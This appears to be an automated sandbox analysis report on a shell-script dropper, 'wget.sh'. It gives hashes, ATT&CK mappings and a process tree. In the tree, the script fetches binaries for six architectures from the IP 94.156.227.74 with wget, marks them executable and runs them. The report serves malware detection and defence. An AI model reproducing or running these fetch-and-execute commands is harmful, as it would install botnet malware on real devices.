a23893ec11dca1f3dc36c0b8afa2f4890080a176a136d4dc6bb93eb1288624c4

Analysis

max time kernel
5s
max time network
7s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
21/02/2025, 03:03

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General

Target
wget.sh
Size 485B
Sample250221-dj4r2a1may
SHA256 a23893ec11dca1f3dc36c0b8afa2f4890080a176a136d4dc6bb93eb1288624c4
MD5 9e58bb33f250dcbc4605bffae120febb
SHA1 fb8b53cd01a314b32858f91950eb07b37a902e86
SHA512 55a82f19a43356002a3eb9257799116ee63037d681462ba471c4e74630004798be84c3d6006dc26758cae1a91065a096045ad37ef0cc69ce47d71354f35b3bb9
MD5 SHA1 SHA512

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 6 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
748	chmod
754	chmod
759	chmod
764	chmod
723	chmod
739	chmod

Executes dropped EXE 6 IoCs

ioc	pid	Process
/tmp/arm5	725	wget.sh
/tmp/arm6	740	wget.sh
/tmp/arm7	749	wget.sh
/tmp/mips	755	wget.sh
/tmp/mpsl	760	wget.sh
/tmp/x86	765	wget.sh

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
752	rm
753	wget
755	mips
755	sh

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/mpsl	wget
File opened for modification	/tmp/x86	wget
File opened for modification	/tmp/arm5	wget
File opened for modification	/tmp/arm6	wget
File opened for modification	/tmp/arm7	wget
File opened for modification	/tmp/mips	wget

/tmp/wget.sh
/tmp/wget.sh
1⤵
- Executes dropped EXE
PID:709
- /bin/rm
  rm -rf arm5
  2⤵
  PID:711
- /usr/bin/wget
  wget http://94.156.227.74/arm5 -O arm5
  2⤵
  - Writes file to tmp directory
  PID:712
- /bin/chmod
  chmod +x arm5
  2⤵
  - File and Directory Permissions Modification
  PID:723
- /tmp/arm5
  ./arm5
  2⤵
  PID:725
- /bin/sh
  /bin/sh ./arm5
  2⤵
  PID:725
- /bin/rm
  rm -rf arm6
  2⤵
  PID:728
- /usr/bin/wget
  wget http://94.156.227.74/arm6 -O arm6
  2⤵
  - Writes file to tmp directory
  PID:730
- /bin/chmod
  chmod +x arm6
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/arm6
  ./arm6
  2⤵
  PID:740
- /bin/sh
  /bin/sh ./arm6
  2⤵
  PID:740
- /bin/rm
  rm -rf arm7
  2⤵
  PID:742
- /usr/bin/wget
  wget http://94.156.227.74/arm7 -O arm7
  2⤵
  - Writes file to tmp directory
  PID:743
- /bin/chmod
  chmod +x arm7
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/arm7
  ./arm7
  2⤵
  PID:749
- /bin/sh
  /bin/sh ./arm7
  2⤵
  PID:749
- /bin/rm
  rm -rf mips
  2⤵
  - System Network Configuration Discovery
  PID:752
- /usr/bin/wget
  wget http://94.156.227.74/mips -O mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:753
- /bin/chmod
  chmod +x mips
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /tmp/mips
  ./mips
  2⤵
  - System Network Configuration Discovery
  PID:755
- /bin/sh
  /bin/sh ./mips
  2⤵
  - System Network Configuration Discovery
  PID:755
- /bin/rm
  rm -rf mpsl
  2⤵
  PID:757
- /usr/bin/wget
  wget http://94.156.227.74/mpsl -O mpsl
  2⤵
  - Writes file to tmp directory
  PID:758
- /bin/chmod
  chmod +x mpsl
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/mpsl
  ./mpsl
  2⤵
  PID:760
- /bin/sh
  /bin/sh ./mpsl
  2⤵
  PID:760
- /bin/rm
  rm -rf x86
  2⤵
  PID:762
- /usr/bin/wget
  wget http://94.156.227.74/x86 -O x86
  2⤵
  - Writes file to tmp directory
  PID:763
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:764
- /tmp/x86
  ./x86
  2⤵
  PID:765
- /bin/sh
  /bin/sh ./x86
  2⤵
  PID:765

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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